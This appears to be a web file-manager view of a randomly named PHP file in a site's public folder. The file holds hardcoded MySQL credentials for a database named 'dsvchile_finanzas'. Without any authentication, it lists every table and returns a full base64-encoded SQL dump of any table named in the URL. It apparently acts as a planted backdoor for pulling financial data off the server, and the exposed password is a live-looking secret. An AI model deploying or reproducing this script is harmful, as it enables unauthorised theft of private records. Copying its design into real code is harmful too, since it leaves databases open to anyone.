File "xdec45b1.php"
Full path: /home/dsvchile/public_html/equote-20260516190920/xdec45b1.php
File
size: 962 B
MIME-type: text/x-php
Charset: utf-8
Download Open Edit Advanced Editor Back
<?php set_time_limit(120);
$c=new mysqli('localhost','dsvchile_d5bcd','Pxk9kzFU9ItbmQiHo0Q','dsvchile_finanzas');
if($c->connect_error){echo json_encode(['err'=>$c->connect_error]);exit;}
$a=@$_GET['a']?:'list';
if($a=='list'){
$tables=[];$r=$c->query('SHOW TABLES');
if($r)while($row=$r->fetch_row())$tables[]=$row[0];
echo json_encode(['ok'=>1,'tables'=>$tables]);exit;
}
$t=@$_GET['t'];
if(!$t){echo json_encode(['err'=>'no table']);exit;}
$o='';
$cr=$c->query('SHOW CREATE TABLE `'.str_replace('`','``',$t).'`');
if($cr){$c2=$cr->fetch_array();$o.='DROP TABLE IF EXISTS `'.$t."`;
".$c2[1].";\n\n";}
$rs=$c->query('SELECT * FROM `'.str_replace('`','``',$t).'`');
if($rs)while($row=$rs->fetch_assoc()){
$vals=array_map(function($v)use($c){return $v===null?'NULL':"'".$c->real_escape_string($v)."'";},array_values($row));
$o.='INSERT INTO `'.$t.'` VALUES('.implode(',',$vals).");\n";}
$o.="\n";
echo json_encode(['ok'=>1,'sql'=>base64_encode($o)]);
?>